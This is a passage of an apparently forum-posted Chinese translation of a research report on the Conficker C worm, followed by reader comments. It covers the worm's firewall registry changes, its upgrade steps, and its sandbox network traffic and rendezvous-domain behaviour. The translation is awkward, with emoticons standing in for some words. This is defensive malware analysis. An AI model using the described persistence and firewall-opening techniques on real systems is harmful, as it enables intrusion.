ballyOpenPorts\List, Value Name: 45436:TCP, New Value: 45436:TCP:*:Enabled:PackagesOffice
SpeechGames
SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Glo
ballyOpenPorts\List, Value Name: 48481:UDP, New Value: 48481:UDP:*:Enabled:PackagesOffice
PagesPages
SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\Glo
ballyOpenPorts\List, Value Name: 57338:UDP, New Value: 57338:UDP:*:Enabled:PackagesOffice
MediaDistribution
可以很明显地通过产品名称,列出防火墙禁止的端口
如MSDownloaded, SpeechGames, MediaDistribution,以及 PagesPages.这些软件包名称都是假的,虽然它们看起来是良性的
全球网络的影响Global Network Impact
近期显示其最初的爆发会在2009年3月5日( UTC ),Conficker C的互联网扫描产生了明显影响,跟踪变种C使用的通信端口,我们能够从我们的蜜罐跟踪变种C感染的蔓延。
按照下降Conficker的A / B /B+ + TCP/445的扫描来源,上升的变种C TCP 和 UDP P2P的扫描活动
我们可以准确地估计爆发时间和相对与以前版本的爆发规模 我们认为,主要变种C的互联网交汇点机制已经备案,据报道已经被封锁,许多Conficker C的Win32可执行文件的例子,报道称正在感染Conficker B的主机(我们还没有报告表明Conficker A也在升级)
B主机收到文件时,载体申请执行下列动作:
1)它进行自我到期检查并退出(我们侦测到72小时过期)
2)检查机器上变种C 的具体互斥,表明这台机器已经升级,如果发现,载体退出
3)释放一个临时文件名标识的DLL到用户临时文件夹
4)使用rundll32.exe执行释放的启动变种C 的DLL
5)删除自己(A/B/B++)
我们提供一个网络流量分析,说明Conficker C升级的影响
显示有一个显著下降的TCP/445扫描活动和增长的变种C的扫描活动
根据我们的测量
第一波Conficker C升级始于太平洋标准时间2009年3月4日下午6时(格林尼治标准时间2时在2009年3月5日) 。
正如上8图,我们可以看到这第一批升级影响大约20 %的Conficker主机,这些
升级发生在大约2009年3月5日UTC ,变种B的主机在这一天访问自己的一套新的会合点
Conficker作者看起来已建立了一个提供C宿主应用程序的服务器,图8还表明,第二次50%变种B的升级将发生在2009年3月17号左右
原位分析-沙盒行为 In-Situ Analysis - Sandbox Operations
我们用动态沙盒监测技术,以评估Conficker C作业在互联网上的相互作用。试验不会对外界产生影响
我们描述了配置的Conficker C感染主机在30分钟的沙盒行为。由于 2009年3月前的实验,我们没有看到的HTTP会合点查找,我们原来确定这一活动应在4月1日
沙盘在4月1日前运行,我们看到下面的网络效应,在图9
DNS查询的速度在10至25间每5分钟间隔发生变化
我们还观察到对以下网络服务器查询:
4shared.com, adobe.com, allegro.pl, ameblo.jp,answers.com, aweber.com, badongo.com, baidu.com. bbc.co.uk, blogfa.com, clicksor.com, comcast.net, cricinfo.com, disney.go.com, ebay.co.uk, facebook.com, fastclick.com, friendster.com, imdb.com, megaporn.com, megaupload.com, miniclip.com, mininova.org, ning.com, photobucket.com, rapidshare.com, reference.com, seznam.cz, soso.com, studiverzeichnis.com, tianya.cn, torrentz.com, tribalfusion.com, tube8.com, tuenti.com, typepad.com, ucoz.ru, veoh.com, vkontakte.ru,wikimedia.org, wordpress.com, xnxx.com, yahoo.com, and youtube.com.
P2P网络查询被送往随机主机的高阶端口
TCP每5分钟 50-60台主机 UDP每5分钟 240到2500的主机
失败的TCP和UDP的尝试也带来了较高速度的ICMP反向访问。这里也有6个HTTP连接在头个5分钟内成功建立:tuenti.com, tianya.cn, miniclip.com, blogfa.com, answers.com 以及 rapidshare.com.
每一个都时GET请求顶端目录(GET / HTTP/1.1). 应答时gzip编码的HTML内容。
GET / HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-ms-application,
application/vnd.ms-xpsdocument, application/x-ms-xbap, */*
Accept-Language: en-GB
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1; .NET CLR
1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)
Host: rapidshare.com
Connection: Keep-Alive
Figure 9: Pre 1 April 2009 short-term network traffic profile
Figure 10: Post 1 April 2009 6-hour network traffic profile
我们还创建了一个新的二进制文件变异,在4月1日这个日期变化的基础上,上图就是这个6小时的网络跟踪情况,该图体现了大量HTTP, DNS, TCP P2P and UDP P2P活动
在DNS活动包括两个组成部分:尝试联系500个会合点,以及设法联系互联网门户网站查找日期
从这个活实验运行追踪,证实我们的静态分析结果:
每一个C感染主机每天从超过116个顶级域名的一个单位熵(随机域名空间)联系500个会合点
我们看到,在查询500个域名的IP活动后3小时,DNS 活动总体水平骤降
就我们而言这都是失败的企图,因为这些域名都还没有注册
在第一个2小时内达到稳态扫描速率前,UDP和TCP中的P2P活动也下降了。
HTTP日期查询活动稳定在每小时6-9个主机,但是返回的仍然是无效的结果
结论Conclusion
我们在(太平洋标准时间)在2009年3月4日6时分析的Conficker C的文案,这个变种包含了一些很重要的新功能,包括新的域名生成算法和新的P2P文件共享服务,不过我们的讨论一直没有提到众所周知的o(∩_∩)o传播媒介(RCP缓冲区溢出, USB接口,和NetBIOS扫描),它们使C的前身充斥互联网,虽然这些没有在变种C中出现,但是这些o(∩_∩)o传播服务可能借由Peers出现在任何时候。
C事实上是一个在互联网数以百万计的电脑主机上上分发恶意内容和二进制文件的强大的和安全的分配工具。该工具包含一个有效防御安全产品,更新以及诊断工具的方法。这进一步表明了Conficker的作者在保持其目前大量的已连接到互联网主机的迅速响应和发展速度,此外,如果把它组织成一个协调的o(∩_∩)o性武器,那么这个百万节点级的僵尸网络将对互联网构成严重可怕的威胁。
我们的报告代表了白帽(WhiteHat)中众多对Conficker分析研究的其中之一,而且我们直接接触众多将报告更多的细节的群体,这样将有助于澄清存在的这一报告中的错误。这份报告我们将定期更新,因为我们对于变种C的理解还在继续增加。
致谢Acknowledgments
我们要感谢SRI计算机科学实验室的Drew Dean对于的二进制验证例程的帮助,感谢来自微软的Bruce Dang
协助关于互斥密钥生成的研究,感谢得克萨斯大学奥斯汀分校的Arvind Narayanan(恶意软件发展水平的分析工具见附件2)的合作
参考References
P.A. Porras, H. Saidi, and V. Yegneswaran. "A Multiperspective Analysis of the Storm
Worm. SRI Technical Report, 2007. http://www.cyber-ta.org/pubs/StormWorm/
Eric Chien, "Downadup: Peer-to-Peer Payload Distribution," 2009.
http://myitforum.com/cs2/blogs/cmosby/archive/2009/01/22/downadup-peer-to-peer-payload-
distribution-symantec-security-response-blog.aspx
Jose Nazario, "The Conficker Cabal Announced," Arbor Networks, 12 February 2009.
http://asert.arbornetworks.com/2009/02/the-conficker-cabal-announced/
SRI International, "A Comparative Assessment of Conficker B++ vs Conficker C," 06
March 2008.
http:/mtc.sri.com/Conficker/addendumC/HMA_Compare_ConfB2_ConfC/
CAIDA, "Conficker/Conflicker/Downadup as seen from the UCSD Network Telescope,"
February 2009.
http://www.caida.org/research/security/ms08-067/conficker.xml
附件 Appendices
附件1 变种C中嵌入的字符串
附件2 域名生成的地址过滤范围(即黑名单)
附件3 变种B与变种C的比较
附件4 Conficker C的沙箱运行结果
附件5 API 恢复表(API Recovery Table)
我不得不承认 我还是喜欢看英文的…… 不管好坏,翻译是辛苦的,支持一下....
哈,我还是比较喜欢看中文!我也只能看懂这个..... 英文看起来太费劲了。 嘿嘿,还好没把英语丢了 我不得不承认,句子翻完了仍然很挫 还好中文英文都没看懂 ...... 咋破呢 发个思路 不管好坏,翻译是辛苦的,支持一下....
哈,我还是比较喜欢看中文!我也只能看懂这个..... 好长.........汗 ·